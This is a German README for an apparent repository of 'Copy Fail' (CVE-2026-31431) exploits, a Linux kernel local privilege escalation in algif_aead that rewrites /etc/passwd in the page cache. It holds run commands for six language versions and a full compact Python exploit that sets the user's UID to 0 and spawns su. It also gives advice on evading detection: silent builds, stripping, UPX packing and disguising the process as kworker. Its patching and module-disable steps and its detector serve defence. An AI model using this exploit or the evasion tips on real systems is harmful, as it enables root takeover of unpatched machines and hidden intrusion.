
Mehrsprachige pädagogische Exploit-Implementierungen für CVE-2026-31431, eine lokale Privilegieneskalation im Linux-Kernel über das algif_aead-Modul, mit einem sicheren Detektor und CTF-Nutzungsanleitung.
Lehr-Repository mit Implementierungen des Copy-Fail-Exploits in mehreren Sprachen.
Erstellt und gepflegt von @shotafry — denn das Lesen des CVE reicht nicht. Man muss es reproduzieren.
Copy Fail ist eine lokale Privilegieneskalations-Schwachstelle (LPE) im Linux-Kernel, katalogisiert als CVE-2026-31431. Sie betrifft das kryptografische Subsystem des Kernels, konkret das Modul algif_aead, das authentifizierte Verschlüsselungsoperationen (AEAD) über AF_ALG-Sockets verwaltet.
Der Fehler wurde 2017 in einer Optimierung des Moduls authencesn eingeführt und blieb fast 9 Jahre lang unentdeckt — vorhanden in praktisch allen modernen Linux-Distributionen.
Was Copy Fail im Vergleich zu anderen historischen LPEs besonders macht:
Die Schwachstelle wurde von Taeyang Lee vom Forschungsteam von Theori entdeckt. Die vollständige Exploit-Kette wurde vom Team Xint Code Research entwickelt, das den Prozess mithilfe von KI-gestützter Analyse des crypto/-Subsystems des Linux-Kernels dokumentierte.
Die öffentliche Offenlegung umfasst funktionalen PoC, vollständige technische Analyse und Dokumentation auf copy.fail.
CVE: CVE-2026-31431
CVSS: 7.8 — HOCH
Vektor: Lokal
Auswirkung: Vollständige Privilegieneskalation (root)
Distros: Alle Linux-Distributionen mit Kernel >= 2017 ohne Patch
Der CVSS-Wert beträgt 7.8 und erreicht nur deshalb nicht kritisch (9+), weil vorheriger lokaler Zugriff erforderlich ist — der Angreifer muss bereits eine Sitzung auf dem System haben. In Cloud-Umgebungen und mit Docker-Containern ist diese Anforderung erheblich einfacher zu erfüllen, als es scheint.
Der Linux-Kernel speichert kürzlich gelesene Dateien im RAM. Dies nennt man Page Cache. Wenn ein Prozess /etc/passwd liest, geht der Kernel nicht auf den Datenträger — er liefert die Kopie aus dem RAM. Das ist schneller, schafft aber eine Angriffsfläche: Wenn du diese Kopie im RAM ändern kannst, ohne den Datenträger zu berühren, sieht das System gefälschte Daten.
Das Modul algif_aead ermöglicht AEAD-Operationen aus dem Userspace über AF_ALG-Sockets. Der Bug liegt in der 2017 eingeführten Optimierung: Wenn splice() verwendet wird, um Seiten einer Datei an den Socket zu übergeben, landen diese Seiten des Page Cache in der Ziel-Scatterlist (beschreibbar) der kryptografischen Operation.
Ergebnis: Jeder Benutzer ohne Privilegien kann 4 kontrollierte Bytes in jede Datei schreiben, die er lesen kann, ohne den Datenträger zu berühren.
Benutzer ohne Privilegien
│
▼
Öffnet AF_ALG-Socket (authencesn)
│
▼
sendmsg() — AEAD-Parameter mit unseren 4 Bytes in seqno_lo
│
▼
splice() — Datei → Pipe → Socket op
[BUG] Der Page Cache der Datei landet in der Ziel-Scatterlist
│
▼
recv() löst die AEAD-Operation aus
Die Auth schlägt fehl (EBADMSG), aber der Scratch-Write ist bereits passiert
│
▼
/etc/passwd (Page Cache) sagt jetzt: Benutzer → UID 0
│
▼
su <benutzer> → PAM validiert echtes Passwort → setuid(0) → ROOT
Stell dir vor, der Kernel hat ein Schlossregister (/etc/passwd). Copy Fail ist, als würdest du entdecken, dass das Schlossregister versehentlich auf deinem Arbeitstisch liegen bleibt, wenn du die Magiewerkstatt des Schlosses in einer ganz bestimmten Reihenfolge öffnest — und du kannst deinen Rang von „einfacher Soldat" zu „König" mit einem Stift ändern. Der Archivar (PAM) prüft dein Passwort, prüft aber nicht das Originalregister, sondern nur die Kopie vor dir. Du bist König.

>= ~2017 ohne den Patch für CVE-2026-31431algif_aead verfügbar und ladbarDas kann man eigentlich überspringen und direkt einen der Exploits testen, aber es ist auch gültig, wenn wir kein Risiko eingehen wollen, sie hochzuladen oder zu erstellen, und nur sehen wollen, ob es funktioniert — aber die Exploits haben ihre eigene Funktion, um zu prüfen, ob das betreffende System verwundbar ist.
# Kernel-Version anzeigen
uname -a
# Prüfen, ob der Algorithmus verfügbar ist
grep -i authencesn /proc/crypto
# Prüfen, ob das Modul geladen ist
lsmod | grep alg
Wenn grep -i authencesn /proc/crypto authencesn(hmac(sha256),cbc(aes)) zurückgibt, ist das System verwundbar.
Dieses Repository enthält den Exploit in 6 Sprachen, alle funktional äquivalent, mit pädagogischen Kommentaren auf Spanisch.
copy_fail_exploit.c → C — statisches Binär, null Abhängigkeiten
copy_fail_exploit.py → Python — besser lesbar, ideal zum Lernen
copy_fail_exploit.rs → Rust — die Ironie: „sichere" Sprache explodiert Kernel
copy_fail_exploit.go → Go — statisches Binär, sehr portabel
copy_fail_exploit.rb → Ruby — allgegenwärtig auf Rails-Servern
copy_fail_exploit.pl → Perl — der leiseste, auf jedem Linux vorhanden
test_cve_2026_31431.py → Detektor — prüft Verwundbarkeit, ohne etwas zu explodieren
python3 test_cve_2026_31431.py
# Kompilieren
gcc copy_fail_exploit.c -o copy_fail_c
# Dry-run (räumt beim Beenden auf, hinterlässt keine Spuren)
./copy_fail_c
# Vollständiger Exploit
./copy_fail_c --shell
# Dry-run
python3 copy_fail_exploit.py
# Vollständiger Exploit
python3 copy_fail_exploit.py --shell
# Kompilieren
rustc copy_fail_exploit.rs -o copy_fail_rs
# Dry-run
./copy_fail_rs
# Vollständiger Exploit
./copy_fail_rs --shell
# Kompilieren
go build -o copy_fail_go copy_fail_exploit.go
# Dry-run
./copy_fail_go
# Vollständiger Exploit
./copy_fail_go --shell
# Dry-run
ruby copy_fail_exploit.rb
# Vollständiger Exploit
ruby copy_fail_exploit.rb --shell
# Dry-run
perl copy_fail_exploit.pl
# Vollständiger Exploit
perl copy_fail_exploit.pl --shell
# Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source ~/.cargo/env
# Go
apt install golang-go
# Ruby (normalerweise auf Kali vorinstalliert)
apt install ruby
# Perl (praktisch immer vorhanden)
perl --version
Sobald der Exploit gestartet ist (vor dem su), kannst du die Änderung im Page Cache visuell überprüfen mit:
# Terminal 1: Echtzeit-Überwachung
watch -n 0.5 'grep deinbenutzer /etc/passwd'
# Terminal 2: Exploit starten
python3 copy_fail_exploit.py --shell
Du siehst, wie das UID-Feld in Echtzeit von 1000 auf 0000 wechselt. Nach dem su:
id
# uid=0(root) gid=0(root) groups=0(root)
Zum Bereinigen ohne Neustart (aus der Root-Shell):
echo 3 > /proc/sys/vm/drop_caches
[*] CVE-2026-31431 LPE benutzer=shotafry uid=1000
[*] /etc/passwd: Benutzer 'shotafry' — UID-Feld bei Offset 3118 = '1000'
[*] Wende write4 an: '1000' -> '0000' im Page Cache...
[+] Page Cache zeigt jetzt UID 0 bei Offset 3118
[+] /etc/passwd (Page Cache) listet shotafry jetzt als UID 0
[+] Führe aus: su shotafry
[+] Gib dein Passwort ein. su wird setuid(0) ausführen → Root-Shell.
Der Datenträger wird nie modifiziert. Ein Neustart oder drop_caches stellt alles auf den ursprünglichen Zustand zurück.
Copy Fail ist in jedem CTF oder Linux-PrivEsc-Labor relevant, in dem der Kernel nicht gepatcht ist.
algif_aead kann in gehärteten Umgebungen deaktiviert sein — wenn der Detektor im AF_ALG-Schritt fehlschlägt, suche einen anderen Vektor# 1. Kernel prüfen
uname -a
# 2. Detektor
python3 test_cve_2026_31431.py
# 3. Wenn verwundbar, Exploit
python3 copy_fail_exploit.py --shell
# 4. Danach bereinigen
echo 3 > /proc/sys/vm/drop_caches
Die Implementierungen dieses Repos sind kommentiert und aus pädagogischen Gründen ausführlich. In einem echten Pentesting-Kontext wirst du leisere Versionen wollen.
Der Exploit besteht im Kern aus 5 Syscalls: socket, bind, setsockopt, sendmsg, splice. Alles andere ist kosmetisch. Eine stille Version entfernt die gesamte Ausgabe und reduziert den Code auf das funktionale Minimum.
# Kompakte Version ohne Ausgabe — gleiche Funktionalität, geringere Erkennungsfläche
import os, socket, struct, pwd
def w4(p, o, b):
f = os.open(p, 0); os.read(f, 4096)
m = socket.socket(38, 5, 0)
m.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
m.setsockopt(279, 1, struct.pack("HH", 8, 1) + struct.pack(">I", 16) + b"\x00"*48)
op, _ = m.accept()
aad = b"\x00\x00\x00\x00" + b
op.sendmsg([aad], [(279,3,struct.pack("I",0)),(279,2,struct.pack("I",16)+b"\x00"*16),(279,4,struct.pack("I",8))], 32768)
pr, pw = os.pipe()
os.splice(f, pw, 32, offset_src=o); os.splice(pr, op.fileno(), 32)
try: op.recv(64)
except: pass
[os.close(x) for x in [pr,pw,op.fileno(),m.fileno(),f]]
u = pwd.getpwuid(os.getuid()).pw_name
d = open("/etc/passwd","rb").read()
i = d.index(u.encode()+b":")+len(u)+1
i = d.index(b":",i)+1
w4("/etc/passwd", i, b"0000")
os.execvp("su", ["su", u])
⚠️ Hinweis: Antiviren- und EDR-Lösungen erkennen Verschleierungsmuster (komprimierte Imports, Ein-Zeichen-Funktionsnamen, verkettetes zlib+hex). Ein statisch kompiliertes C-Binär bleibt die leiseste Option in überwachten Umgebungen.
strip: gcc exploit.c -o exploit && strip exploit — entfernt Debug-Symboleupx --best exploit — komprimiert das Binär, ändert seine Signaturkworker oder systemd-helper, damit es in ps unauffällig bleibt# Debian/Ubuntu/Kali
apt update && apt upgrade
# RHEL/CentOS/Fedora
dnf update
# Arch
pacman -Syu
Wenn du nicht sofort patchen kannst, deaktiviere das verwundbare Modul:
# Modul deaktivieren
rmmod algif_aead 2>/dev/null
# Verhindern, dass es in Zukunft geladen wird
echo "install algif_aead /bin/false" >> /etc/modprobe.d/disable-algif.conf
python3 test_cve_2026_31431.py
# [+] Page cache intact. NOT vulnerable on this kernel.
Der Patch muss auf dem Host-Kernel angewendet werden — Container teilen sich den Kernel und sind von dieser Schwachstelle nicht isoliert. Nur das Container-Image zu aktualisieren schützt vor nichts.
CVE-2026-31431-Copy-Fail/
├── README.md ← Diese Datei (ES)
├── README_ENGLISH.md ← Englische Version
├── copy_fail_exploit.c ← Exploit in C
├── copy_fail_exploit.py ← Exploit in Python
├── copy_fail_exploit.rs ← Exploit in Rust
├── copy_fail_exploit.go ← Exploit in Go
├── copy_fail_exploit.rb ← Exploit in Ruby
├── copy_fail_exploit.pl ← Exploit in Perl
├── test_cve_2026_31431.py ← Detektor (sicher, modifiziert nichts)
└── assets/
├── Infografia.png ← Infografik des Exploits
├── Exploit en C.png ← Screenshot des C-Exploits in Aktion
└── passwd.png ← Ausgabe des Detektors auf verwundbarem System
Während alle anderen diesen CVE mit einem KI-generierten Absatz und einem Link zum offiziellen Repo veröffentlichten, habe ich den ganzen Tag damit verbracht, ihn wirklich zu studieren: den Kernel-Code lesen, den Page Cache verstehen, den Exploit im Labor reproduzieren und ihn dann in 6 verschiedene Sprachen portieren, um genau zu verstehen, was auf jeder Ebene passiert.
Die Rust-Version ist meine Lieblingsversion. Du nutzt die Sprache, die am meisten von Speichersicherheit besessen ist, um einen Fehler im in C geschriebenen Kernel auszunutzen. Die Ironie erklärt sich von selbst.
Dieses Repo existiert, weil ich glaube, dass der Unterschied zwischen einem Sicherheitsprofi und jemandem, der nur Posts teilt, darin liegt, ob du dich wirklich hingesetzt hast, um Dinge zu reproduzieren.
authencesn / algif_aeadDieses Repository dient ausschließlich zu Bildungszwecken, Sicherheitsforschung und Tests auf eigenen Systemen oder mit ausdrücklicher schriftlicher Genehmigung.
Die Verwendung dieser Tools gegen Systeme ohne Autorisierung ist in den meisten Rechtsordnungen illegal. Der Autor übernimmt keine Verantwortung für den Missbrauch dieses Materials.
Teste nur das, was dir gehört oder wofür du die Erlaubnis zur Prüfung hast.
Gemacht mit Neugier, Labor und zu viel Kaffee, oder genau genommen Bier 0.0.
@shotafry
@BrayLozano
| Eigenschaft | Copy Fail | Typischer LPE |
|---|
| Benötigt Race Condition | ❌ Nein | ✅ Ja |
| Benötigt spezifischen Kernel-Offset | ❌ Nein | ✅ Ja |
| Funktioniert auf allen Distros | ✅ Ja | ❌ Normalerweise nicht |
| Zuverlässigkeit | 100 % deterministisch | Variabel |
| Modifiziert den Datenträger | ❌ Nein (nur RAM) | Kommt darauf an |
| Sprache | Anforderung am Ziel | Vorherige Kompilierung |
|---|
| C | Keine (statisches Binär) | gcc auf der Kompilierungsmaschine |
| Python | Python 3.10+ | Nein |
| Rust | Keine (statisches Binär) | rustc auf der Kompilierungsmaschine |
| Go | Keine (statisches Binär) | go auf der Kompilierungsmaschine |
| Ruby | Ruby + Gem fiddle (standardmäßig enthalten) | Nein |
| Perl | Perl 5 (praktisch auf jedem Linux enthalten) | Nein |